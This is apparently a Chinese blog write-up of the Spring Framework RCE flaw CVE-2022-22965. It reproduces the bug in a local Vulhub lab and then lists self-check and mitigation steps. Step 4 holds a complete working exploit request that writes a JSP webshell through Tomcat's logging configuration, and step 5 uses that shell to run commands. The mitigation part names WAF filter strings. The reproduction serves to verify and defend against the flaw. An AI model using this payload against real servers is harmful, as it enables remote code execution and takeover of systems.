CVE-2022-22965:Spring远程代码执行漏洞

CVE-2022-22965:Spring Framework远程代码执行漏洞

本文仅为验证漏洞,在本地环境测试验证,无其它目的


漏洞编号:

CVE-2022-22965


漏洞说明:

Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。


漏洞影响范围:

  • Spring Framework < 5.3.18
  • Spring Framework < 5.2.20

漏洞级别:

高危


漏洞复现:

本次复现采用Vulhub靶场环境,需要在本地搭建Vulhub靶场(自行百度,如有问题可以沟通交流,后期时间充足可以再出Vulhub搭建教程),需注意将请求中的代码更换为靶机所在IP
(参考:Vulhub/CVE-2022-22965

  1. 进入靶场环境:【Vulhub}-【Spring】-【CVE-2022-22965】,使用以下命令启动环境

    docker-compose up -d
    

    在这里插入图片描述

  2. 根据VULHUB靶场提示操作,访问靶场服务器IP+端口:
    bash http://192.168.32.132:8080/?name=Bob&age=25
    在这里插入图片描述

  3. 此处要注意,因为靶场会占用8080端口,所以当BP和靶场在统一环境下时,注意修改BP的8080端口为其他,并在浏览器中进行更新才能访问靶场环境:
    在这里插入图片描述

  4. 发送以下请求以更改 Apache Tomcat 中的日志记录配置并将日志写入 JSP 文件:

    GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
    Host: 192.168.32.132:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 		Safari/537.36
    Connection: close
    suffix: %>//
    c1: Runtime
    c2: <%
    DNT: 1
    
    
    

    在这里插入图片描述

  5. 然后,访问刚才的 JSP webshell,并执行任意命令:
    bash http://192.168.32.132:8080/tomcatwar.jsp?pwd=j&cmd=id
    在这里插入图片描述


漏洞自查:

(参考:安恒信息CERT

  1. 临时解决方案

    排查是否使用了Spring框架(包括但不限于以下方法)
    (1)排查项目中是否使用了Spring框架:
    可遍历项目文件查找是否包含spring-beans-.jar
    (2)排查war包中是否存在Spring框架:
    检查war包内是否存在spring-beans-
    .jar文件,若存在则表示使用spring开发框架;若不存在,则进一步确认是否存在CachedIntrospectionResults.class文件,若存在则表示使用Spring开发框架或衍生框架。
    (3)排查jar包部中的Spring:
    检查Jar包内是否存在spring-beans-*.jar文件,若存在则表示使用Spring开发框架;若不存在,则进一步确认是否存在CachedIntrospectionResults.class文件,若存在则表示使用Spring开发框架或衍生框架。

  2. 在使用Spring框架的服务器中,命令行下执行“java –version”,查看当前JDK版本,如果JDK版本在8及以下,则不受此漏洞影响


漏洞修复:

((参考: 深信服千里目安全实验室

  1. 临时解决方案

    1. 在应用中全局搜索@InitBinder注解,看看方法体内是否调用dataBinder.setDisallowedFields方法,如果发现此代码片段的引入,则在原来的黑名单中,添加{“class.","Class.”,“.class.”,“.Class.”}。(注:如果此代码片段使用较多,需要每个地方都追加)
    2. 在应用系统的项目包下新建以下全局类,并保证这个类被Spring 加载到(推荐在Controller所在的包中添加)。完成类添加后,需对项目进行重新编译打包和功能验证测试,并重新发布项目
  2. WAF等安全组件防护

    在WAF等网络防护设备上,根据实际部署业务的流量情况,实现对“class.”“Class.”“.class.”“.Class.”等字符串的规则过滤,并在部署过滤规则后,对业务运行情况进行测试,避免产生额外影响。

  3. 官方修复

    1. 当前 Spring Framework 官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。链接如下:
      https://github.com/spring-projects/spring-framework/tags
      注:Spring Framework 5.3.18和Spring Framework 5.2.20是 Spring 官方提供的两个安全版本(截止至3月31日)